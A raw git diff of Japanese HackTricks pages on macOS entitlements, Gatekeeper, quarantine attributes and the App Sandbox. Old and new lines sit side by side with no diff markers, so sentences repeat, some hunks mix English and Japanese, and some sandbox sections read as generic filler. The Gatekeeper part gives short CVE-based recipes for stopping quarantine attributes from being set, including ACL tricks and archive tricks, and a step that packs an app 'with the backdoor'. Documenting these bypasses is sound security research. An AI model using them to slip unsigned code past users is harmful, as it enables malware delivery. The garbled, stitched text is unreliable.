このエンタイトルメントは、`mmap()`システム関数に`MAP_JIT`フラグを渡すことで、書き込みと実行が可能なメモリを作成することを許可します。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit)。
このエンタイトルメントは、`mmap()`システム関数に`MAP_JIT`フラグを渡すことで、**書き込みと実行が可能なメモリ**を作成することを許可します。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit)。
### `com.apple.security.cs.allow-unsigned-executable-memory`
このエンタイトルメントは、Cコードをオーバーライドまたはパッチすること、基本的には安全ではない**`NSCreateObjectFileImageFromMemory`**を使用すること、または**DVDPlayback**フレームワークを使用することを許可します。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)。
このエンタイトルメントは、Cコードを**オーバーライドまたはパッチ**すること、長期間非推奨とされている**`NSCreateObjectFileImageFromMemory`**(基本的には安全ではない)を使用すること、または**DVDPlayback**フレームワークを使用することを許可します。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)。
{% hint style="danger" %}
このエンタイトルメントを含めると、メモリの安全でないコード言語による一般的な脆弱性にアプリがさらされることになります。この例外が必要かどうかを慎重に考慮してください。
このエンタイトルメントを含めると、アプリはメモリの安全でないコード言語における一般的な脆弱性にさらされる可能性があります。この例外が必要かどうかを慎重に考慮してください。
{% endhint %}
### `com.apple.security.cs.disable-executable-page-protection`
このエンタイトルメントは、ディスク上の自身の実行可能ファイルのセクションを変更して強制的に終了することを許可します。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)。
このエンタイトルメントは、ディスク上の自身の実行可能ファイルのセクションを**強制的に変更**して終了することを許可します。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)。
{% hint style="danger" %}
Disable Executable Memory Protectionエンタイトルメントは、アプリから基本的なセキュリティ保護を削除し、攻撃者が検出されずにアプリの実行可能コードを書き換えることが可能になる極端なエンタイトルメントです。可能な場合は、より狭いエンタイトルメントを選択してください。
@ -130,14 +138,13 @@ Disable Executable Memory Protectionエンタイトルメントは、アプリ
TODO
<details>
### `kTCCServiceAll`
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
このブログ記事によると、このTCC権限は通常、以下の形式で見つかります
```
[Key] com.apple.private.tcc.allow-prompting
[Value]
[Array]
[String] kTCCServiceAll
```
プロセスにすべてのTCC権限を要求することを許可します。

View file

@ -6,9 +6,9 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
*
* .
@ -16,11 +16,11 @@
## Gatekeeper
**Gatekeeperゲートキーパー**は、Macオペレーティングシステム向けに開発されたセキュリティ機能で、ユーザーがシステム上で**信頼できるソフトウェアのみを実行**することを保証するために設計されています。これは、ユーザーがアプリ、プラグイン、またはインストーラーパッケージなどの**App Store以外のソースからダウンロードして開こうとするソフトウェアを検証**することによって機能します。
**Gatekeeperゲートキーパー**は、Macオペレーティングシステム向けに開発されたセキュリティ機能で、ユーザーがシステム上で**信頼できるソフトウェアのみを実行**することを保証するために設計されています。これは、ユーザーがApp Store以外のソースからダウンロードして開こうとするソフトウェア(アプリ、プラグイン、インストーラーパッケージなど)**検証**することによって機能します。
Gatekeeperの主要なメカニズムは、**検証**プロセスにあります。ダウンロードしたソフトウェアが**認識された開発者によって署名**されているかどうかをチェックし、ソフトウェアの信頼性を確認します。さらに、ソフトウェアが**Appleによって公証**されているかどうかも確認し、既知の悪意のあるコンテンツが含まれていないこと、および公証後に改ざんされていないことを確認します。
さらに、Gatekeeperは、ユーザーがダウンロードしたソフトウェアの初回の実行を承認するようユーザーに**プロンプトを表示**することで、ユーザーの制御とセキュリティを強化します。この保護機能により、ユーザーが無害なデータファイルと間違えて害のある実行可能コードを誤って実行することを防ぐのに役立ちます。
さらに、Gatekeeperは、ユーザーがダウンロードしたソフトウェアの初回の実行を承認するようユーザーに**プロンプトを表示**することで、ユーザーの制御とセキュリティを強化します。この保護機能により、ユーザーは無害なデータファイルと間違えて実行する可能性のある潜在的に有害な実行可能コードを誤って実行することを防ぐことができます。
### アプリケーションの署名
@ -28,7 +28,7 @@ Gatekeeperの主要なメカニズムは、**検証**プロセスにあります
以下は、その動作方法です。
1. **アプリケーションの署名:** 開発者がアプリケーションを配布する準備ができたら、**開発者が秘密鍵を使用してアプリケーションに署名**します。この秘密鍵は、開発者がApple Developer Programに登録する際にAppleから発行される**証明書**と関連付けられています。署名プロセスでは、アプリのすべての部分の暗号ハッシュを作成し、このハッシュを開発者の秘密鍵で暗号化することが含まれます。
1. **アプリケーションの署名:** 開発者がアプリケーションを配布する準備ができたら、**開発者が秘密鍵を使用してアプリケーションに署名**します。この秘密鍵は、開発者がApple Developer Programに登録した際にAppleから発行される**証明書**と関連付けられています。署名プロセスでは、アプリのすべての部分の暗号ハッシュを作成し、このハッシュを開発者の秘密鍵で暗号化ます。
2. **アプリケーションの配布:** 署名されたアプリケーションは、開発者の証明書と共にユーザーに配布されます。この証明書には、対応する公開鍵が含まれています。
3. **アプリケーションの検証:** ユーザーがアプリケーションをダウンロードして実行しようとすると、Macオペレーティングシステムは開発者の証明書から公開鍵を使用してハッシュを復号化します。その後、アプリケーションの現在の状態に基づいてハッシュを再計算し、これを復号化されたハッシュと比較します。一致する場合、開発者が署名した後にアプリケーションが**変更されていない**ことを意味し、システムはアプリケーションの実行を許可します。
@ -38,7 +38,7 @@ macOS Catalina以降、**GatekeeperはアプリケーションがAppleによっ
#### 署名の確認
**マルウェアサンプル**をチェックする際には、常にバイナリの**署名を確認**する必要があります。署名した**開発者**が既に**マルウェアに関連している**可能性があるためです。
**マルウェアサンプル**をチェックする際には、常にバイナリの**署名を確認**する必要があります。署名した**開発者**が既に**マルウェア**と関連している可能性があるためです。
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -59,7 +59,7 @@ codesign -s <cert-name-keychain> toolsdemo
Appleの公証プロセスは、ユーザーを潜在的に有害なソフトウェアから保護するための追加の安全策として機能します。これは、開発者が自分のアプリケーションをAppleの公証サービスに提出することを含みます。このサービスは、App Reviewとは異なるものであり、提出されたソフトウェアを悪意のあるコンテンツやコード署名の潜在的な問題から検査する自動化システムです。
ソフトウェアがこの検査を通過し、懸念事項がない場合、公証サービスは公証チケットを生成します。その後、開発者はこのチケットをソフトウェアに添付する必要があります。このプロセスは「ステープリング」と呼ばれます。さらに、公証チケットはオンラインで公開され、GatekeeperAppleのセキュリティ技術)がアクセスできるようになります。
ソフトウェアがこの検査を通過し、懸念事項がない場合、公証サービスは公証チケットを生成します。その後、開発者はこのチケットをソフトウェアに添付する必要があります。このプロセスは「ステープリング」と呼ばれます。さらに、公証チケットはオンラインで公開され、GatekeeperAppleのセキュリティテクノロジー)がアクセスできるようになります。
ユーザーがソフトウェアを初めてインストールまたは実行する際、実行可能ファイルにステープルされているか、オンラインで見つかるかにかかわらず、公証チケットの存在はGatekeeperにソフトウェアがAppleによって公証されたことを通知します。その結果、Gatekeeperは初回起動ダイアログに説明的なメッセージを表示し、ソフトウェアがAppleによって悪意のあるコンテンツのチェックを受けたことを示します。このプロセスにより、ユーザーは自分のシステムにインストールまたは実行するソフトウェアのセキュリティに対する信頼性が向上します。
@ -73,14 +73,14 @@ GateKeeperの状態は、次のコマンドで確認することができます
spctl --status
```
{% hint style="danger" %}
GateKeeperの署名チェックは、**Quarantine属性を持つファイル**にのみ実行されます。
GateKeeperの署名チェックは、**Quarantine属性を持つファイル**にのみ実行されます。すべてのファイルに対して実行されるわけではありません。
{% endhint %}
GateKeeperは、**設定と署名**に基づいてバイナリが実行可能かどうかをチェックします
GateKeeperは、**設定と署名**に基づいてバイナリが実行可能かどうかをチェックします
<figure><img src="../../../.gitbook/assets/image (678).png" alt=""><figcaption></figcaption></figure>
この設定を保持するデータベースは、**`/var/db/SystemPolicy`**にあります。次のコマンドをrootとして実行して、このデータベースを確認できます
この設定を保持するデータベースは、**`/var/db/SystemPolicy`**にあります。次のコマンドをrootとして実行して、このデータベースを確認できます
```bash
# Open database
sqlite3 /var/db/SystemPolicy
@ -122,31 +122,17 @@ spctl --master-enable
<figure><img src="../../../.gitbook/assets/image (679).png" alt=""><figcaption></figcaption></figure>
GateKeeperによって**アプリが許可されるかどうかをチェック**することができます。
GateKeeperによって**アプリが許可されるかどうかを確認**することができます。
```bash
spctl --assess -v /Applications/App.app
```
GateKeeperに新しいルールを追加して、特定のアプリの実行を許可することが可能です。以下の手順を実行します:
GateKeeperに新しいルールを追加して、特定のアプリの実行を許可することが可能です。以下のコマンドを使用します:
1. Open Terminal.
2. Enter the following command to add a new rule to GateKeeper:
```bash
spctl --add --label "Approved" /path/to/app
```
sudo spctl --add --label "Approved" /path/to/application.app
```
Replace `/path/to/application.app` with the actual path to the application you want to allow.
3. Enter your administrator password when prompted.
4. GateKeeper will now allow the execution of the specified application.
GateKeeperに新しいルールを追加して、特定のアプリの実行を許可することが可能です。以下の手順を実行します:
1. ターミナルを開きます。
2. 次のコマンドを入力して、GateKeeperに新しいルールを追加します:
```
sudo spctl --add --label "Approved" /path/to/application.app
```
`/path/to/application.app`を実際のアプリケーションのパスに置き換えてください。
3. 管理者パスワードを入力します。
4. GateKeeperは指定したアプリケーションの実行を許可します。
このコマンドは、指定したパスにあるアプリを"Approved"というラベルでGateKeeperに追加します。これにより、アプリは実行可能となります。
```bash
# Check if allowed - nop
spctl --assess -v /Applications/App.app
@ -198,7 +184,7 @@ xattr -p com.apple.quarantine <file>
このコマンドは、指定した `<file>` に拡張属性 `com.apple.quarantine` がある場合、その値を表示します。
```bash
xattr portada.png
xattr file.png
com.apple.macl
com.apple.quarantine
```
@ -271,17 +257,17 @@ Gatekeeperをバイパスする方法ユーザーに何かをダウンロー
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
**Automator**でアプリケーションが作成されると、実行するために必要な情報は`application.app/Contents/document.wflow`に含まれており、実行可能ファイルには単なる一般的なAutomatorバイナリである**Automator Application Stub**があります。
**Automator**でアプリケーションが作成されると、実行するための情報は`application.app/Contents/document.wflow`にあり、実行可能ファイルにはありません。実行可能ファイルは、**Automator Application Stub**と呼ばれる汎用のAutomatorバイナリです。
したがって、`application.app/Contents/MacOS/Automator\ Application\ Stub`を**シンボリックリンクでシステム内の別のAutomator Application Stubに指定**することで、`document.wflow`(スクリプト)内の内容を実行し、**Gatekeeperをトリガーせずに**実行することができます。実際の実行可能ファイルには検疫のxattrがないためです。
したがって、`application.app/Contents/MacOS/Automator\ Application\ Stub`を**シンボリックリンクで別のAutomator Application Stubに指定**することで、`document.wflow`(スクリプト)内の内容を実行し、実際の実行可能ファイルにはquarantine xattrがないため、Gatekeeperをトリガーせずに実行することができます。
例として期待される場所は、`/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`です。
例として期待される場所`/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
詳細については、[**元のレポート**](https://ronmasas.com/posts/bypass-macos-gatekeeper)を参照してください。
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
このバイパスでは、zipファイルが作成され、`application.app`ではなく`application.app/Contents`から圧縮が開始されました。したがって、**`application.app/Contents`のすべてのファイルに検疫属性**が適用されましたが、Gatekeeperがチェックしていたのは`application.app`であり、`application.app`がトリガーされたときには**検疫属性が存在しなかったため**、Gatekeeperがバイパスされました。
このバイパスでは、zipファイルが作成され、`application.app`ではなく`application.app/Contents`から圧縮が開始されました。したがって、**quarantine属性**は**`application.app/Contents`内のすべてのファイル**に適用されましたが、Gatekeeperがチェックしていたのは`application.app`であり、`application.app`がトリガーされたときには**quarantine属性が存在しなかったため、Gatekeeperがバイパス**されました。
```bash
zip -r test.app/Contents test.zip
```
@ -289,7 +275,7 @@ zip -r test.app/Contents test.zip
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
コンポーネントは異なるものの、この脆弱性の悪用は前のものと非常に似ています。この場合、**`application.app/Contents`**からApple Archiveを生成し、**Archive Utility**によって展開されるときに**`application.app`には検疫属性が付与されない**ようにします。
コンポーネントは異なるものの、この脆弱性の悪用は前のものと非常に似ています。この場合、**`application.app/Contents`** からApple Archiveを生成し、**Archive Utility** によって展開される際に **`application.app` には検疫属性が付与されない**ようにします。
```bash
aa archive -d test.app/Contents -o test.app.aar
```
@ -297,7 +283,7 @@ aa archive -d test.app/Contents -o test.app.aar
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
ACL **`writeextattr`** は、ファイル内の属性の書き込みを誰にでも防止するために使用できます。
ACL **`writeextattr`**は、ファイルの属性の書き込みを誰にも制限するために使用できます。
```bash
touch /tmp/no-attr
chmod +a "everyone deny writeextattr" /tmp/no-attr
@ -306,7 +292,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
```
さらに、**AppleDouble**ファイル形式は、そのACEを含むファイルをコピーします。
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)では、xattrとして保存されているACLテキスト表現である**`com.apple.acl.text`**が、展開されたファイルのACLとして設定されることがわかります。したがって、他のxattrの書き込みを防ぐACLを持つACLを持つアプリケーションを**AppleDouble**ファイル形式でzipファイルに圧縮した場合、quarantine xattrはアプリケーションに設定されませんでした。
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)では、xattrとして保存されているACLテキスト表現である**`com.apple.acl.text`**が、展開されたファイルのACLとして設定されることがわかります。したがって、他のxattrの書き込みを防止するACLを持つzipファイルにアプリケーションを圧縮した場合、quarantine xattrはアプリケーションに設定されませんでした。
```bash
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
@ -317,7 +303,7 @@ python3 -m http.server
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
macOSの内部の問題により、**Google Chromeはダウンロードしたファイルに隔離属性を設定していませんでした**。
**Google Chromeは、いくつかのmacOSの内部的な問題のために、ダウンロードされたファイルに隔離属性を設定していませんでした**。
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
@ -335,7 +321,7 @@ aa archive -d test/ -o test.aar
```
{% endcode %}
ゲートキーパーをバイパスすることができるようになりました。クイックタイムのアプリケーションを作成するために、AppleDouble名規則`._`で始まるを使用してDMGファイルアプリケーションを作成し、クイックタイムのアプリケーションとして表示されるファイルを作成しました。この隠しファイルにはクイックタイムの属性が設定されていません。DMGファイルが実行されると、クイックタイムの属性がないため、ゲートキーパーがバイパスされます。
ゲートキーパーをバイパスすることができるようになりました。クイックタイムのアプリケーションを作成するために、AppleDouble名規則`._`で始まるを使用してDMGファイルアプリケーションを作成し、クイックタイムのアプリケーションとして表示されるファイルを作成しました。この隠しファイルにはクイックタイムの属性が設定されていません。DMGファイルが実行されると、クイックタイムの属性がないため、ゲートキーパーをバイパスします。
```bash
# Create an app bundle with the backdoor an call it app.app
@ -358,7 +344,7 @@ aa archive -d s/ -o app.aar
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>

View file

@ -4,9 +4,9 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
@ -14,11 +14,11 @@
## 基本情報
MacOS Sandbox最初はSeatbeltと呼ばれていましたは、**サンドボックスプロファイルで指定された許可されたアクションに制限**されたサンドボックス内で実行されるアプリケーションを制限します。これにより、**アプリケーションが予期されたリソースにのみアクセスすることが保証**されます。
MacOS Sandbox最初はSeatbeltと呼ばれていましたは、**サンドボックスプロファイルで指定された許可されたアクションに制限**をかけ、サンドボックス内で実行されるアプリケーションが**予期されたリソースにのみアクセスすることを保証**します。
**`com.apple.security.app-sandbox`**という**エンタイトルメント**を持つアプリは、サンドボックス内で実行されます。**Appleのバイナリ**は通常、サンドボックス内で実行され、**App Store**に公開するためには、**このエンタイトルメントが必須**です。したがって、ほとんどのアプリケーションはサンドボックス内で実行されます。
プロセスが何を行えるか、行えないかを制御するために、**サンドボックスにはカーネル全体のすべてのシスコールにフックがあります**。アプリの**エンタイトルメント**に応じて、サンドボックスは特定のアクションを**許可**します。
プロセスが何を行えるか、行えないかを制御するために、**サンドボックスにはカーネル全体のすべてのシスコールにフックがあります**。アプリのエンタイトルメントに応じて、サンドボックスは特定のアクションを許可します。
サンドボックスの重要なコンポーネントには次のものがあります:
@ -111,11 +111,15 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
<array/>
[...]
```
### サンドボックスプロファイル
{% hint style="warning" %}
すべてのSandboxアプリケーションによって作成/変更されたものは、**quarantine属性**を持ちます。これにより、Sandboxアプリが**`open`**を使用して何かを実行しようとすると、GatekeeperがトリガーされてSandboxスペースが防止されます。
{% endhint %}
サンドボックスプロファイルは、そのサンドボックスで何が**許可/禁止**されるかを示す設定ファイルです。これは、**サンドボックスプロファイル言語SBPL**を使用しており、[**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\))プログラミング言語を使用しています。
### Sandboxプロファイル
以下に例を示します:
Sandboxプロファイルは、そのSandboxで**許可/禁止**されるものを示す設定ファイルです。これは、**Sandboxプロファイル言語SBPL**を使用し、[**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\))プログラミング言語を使用します。
ここには例があります:
```scheme
(version 1) ; First you get the version
@ -603,35 +607,48 @@ macOSのサンドボックスには、以下のような機能があります。
- ハードウェアリソースへのアクセス制限
- システム設定の制限
これらの機能により、アプリケーションは自身の環境内で動作し、システムの他の部分に影響を与えることができません
これらの機能により、アプリケーションは自身の環境内で動作し、システムへの悪意のあるアクセスを制限することができます
## サンドボックスの設定
macOSのサンドボックスは、アプリケーションごとに設定されます。アプリケーションは、サンドボックスプロファイルと呼ばれる設定ファイルを持ち、このファイルによってサンドボックスの動作が制御されます。
macOSのサンドボックスは、アプリケーションごとに設定することができます。アプリケーションの設定ファイルには、サンドボックスのルールや制限を記述します。
サンドボックスプロファイルには、アプリケーションが許可される操作やリソースへのアクセス制限が記述されています。アプリケーションは、このプロファイルに基づいて実行され、サンドボックスの制約に従って動作します。
以下は、`touch2.sb`という名前のサンドボックス設定ファイルの例です。
## サンドボックスの回避
```plaintext
(version 1)
(deny default)
サンドボックスは、アプリケーションのセキュリティを強化するための重要な機能ですが、攻撃者はサンドボックスを回避する方法を見つけることがあります。これにより、攻撃者は制限された環境から脱出し、システムに悪影響を与えることができます。
(allow file-write-data
(literal "/private/var/tmp/file.txt")
)
サンドボックスの回避方法は、攻撃者の技術力や知識に依存します。攻撃者は、サンドボックスの制約を回避するための脆弱性やバグを見つけることができます。また、サンドボックスの制約を回避するための特殊な技術やツールも存在します。
(allow file-read-metadata
(regex #"^/private/var/tmp/.*")
)
(allow file-read-data
(literal "/private/var/tmp/file.txt")
)
```
この例では、`/private/var/tmp/file.txt`への書き込みと読み取りが許可されています。
## サンドボックスのテスト
アプリケーションのセキュリティを確保するためには、サンドボックスのテストが重要です。サンドボックスのテストでは、アプリケーションが制約に従って動作し、攻撃者がサンドボックスを回避することができないかどうかを確認します。
サンドボックスの設定が正しく行われているかをテストするためには、`sandbox-exec`コマンドを使用します。
サンドボックスのテストには、以下のような手法があります。
以下のコマンドを実行すると、`touch2.sb`のサンドボックス設定に基づいて、`/private/var/tmp/file.txt`に対して書き込みが行われます。
- サンドボックスの制約を回避するための攻撃を試みる
- サンドボックスの制約をテストするためのツールを使用する
- サンドボックスの設定を検証するための静的解析を行う
```plaintext
sandbox-exec -f touch2.sb touch /private/var/tmp/file.txt
```
これらの手法を組み合わせて、アプリケーションのサンドボックスのセキュリティを確保することができます
正常に書き込みが行われた場合、エラーメッセージは表示されません
## まとめ
macOSのサンドボックスは、アプリケーションのセキュリティを強化するための重要な機能です。サンドボックスは、制限された環境でアプリケーションを実行し、システムを悪意のあるコードや攻撃から保護します。サンドボックスのテストを行い、セキュリティを確保することが重要です。
macOSのサンドボックスは、アプリケーションのセキュリティを強化するための重要な機能です。適切な設定とテストを行うことで、システムへの悪意のあるアクセスを防ぐことができます。
{% endcode %}
```scheme
@ -661,7 +678,7 @@ macOSのサンドボックスは、アプリケーションのセキュリティ
{% endtabs %}
{% hint style="info" %}
注意:**Windows上で動作するApple製のソフトウェア**は、アプリケーションのサンドボックス化などの追加のセキュリティ対策はありません。
注意:**Windows上で実行されるApple製のソフトウェア**は、アプリケーションのサンドボックス化などの追加のセキュリティ対策はありません。
{% endhint %}
バイパスの例:
@ -673,27 +690,27 @@ macOSのサンドボックスは、アプリケーションのセキュリティ
macOSは、システムのサンドボックスプロファイルを2つの場所に保存します**/usr/share/sandbox/** と **/System/Library/Sandbox/Profiles**。
また、サードパーティのアプリケーションが _**com.apple.security.app-sandbox**_ の権限を持っている場合、システムはそのプロセスに **/System/Library/Sandbox/Profiles/application.sb** プロファイルを適用します。
また、サードパーティのアプリケーションが _**com.apple.security.app-sandbox**_ エンタイトルメントを持っている場合、システムはそのプロセスに **/System/Library/Sandbox/Profiles/application.sb** プロファイルを適用します。
### **iOSサンドボックスプロファイル**
デフォルトのプロファイルは **container** と呼ばれ、SBPLテキスト表現はありません。メモリ上では、このサンドボックスは、asndboxからの各権限に対してAllow/Denyバイナリツリーとして表されます。
デフォルトのプロファイルは **container** と呼ばれ、SBPLテキスト表現はありません。メモリ上では、このサンドボックスは、サンドボックスの各権限に対してAllow/Denyバイナリツリーとして表されます。
### サンドボックスのデバッグとバイパス
**macOSでは、プロセスはサンドボックス化された状態で生まれませんiOSとは異なり、サンドボックスはプログラムの最初の命令が実行される前にカーネルによって適用されますが、macOSではプロセス自体がサンドボックスにることを選択する必要があります。**
**プロセスはmacOSではサンドボックス化されて生まれませんiOSとは異なり、サンドボックスはプログラムの最初の命令が実行される前にカーネルによって適用されますが、macOSではプロセス自体がサンドボックスに配置することを選択する必要があります。**
プロセスは、`com.apple.security.app-sandbox` の権限を持っている場合、ユーザーランドから自動的にサンドボックス化されます。このプロセスの詳細な説明については、次を参照してください:
プロセスは、`com.apple.security.app-sandbox` エンタイトルメントを持っている場合、ユーザーランドから自動的にサンドボックス化されます。このプロセスの詳細な説明については、次を参照してください:
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
{% endcontent-ref %}
### **PIDの特権をチェックする**
### **PIDの特権を確認する**
[これによると](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s)、**`sandbox_check`**`__mac_syscall`ですは、特定のPIDでサンドボックスによって操作が許可されているかどうかをチェックできます。
[これによると](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s)、**`sandbox_check`**`__mac_syscall`ですは、特定のPIDでサンドボックスによって操作が許可されているかどうかを確認できます。
[**ツールsbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c)は、PIDが特定のアクションを実行できるかどうかをチェックできます:
[**ツールsbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c)は、PIDが特定のアクションを実行できるかどうかを確認できます:
```bash
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
sbtool <pid> file /tmp #Check file access

View file

@ -26,11 +26,11 @@ ls: Desktop: Operation not permitted
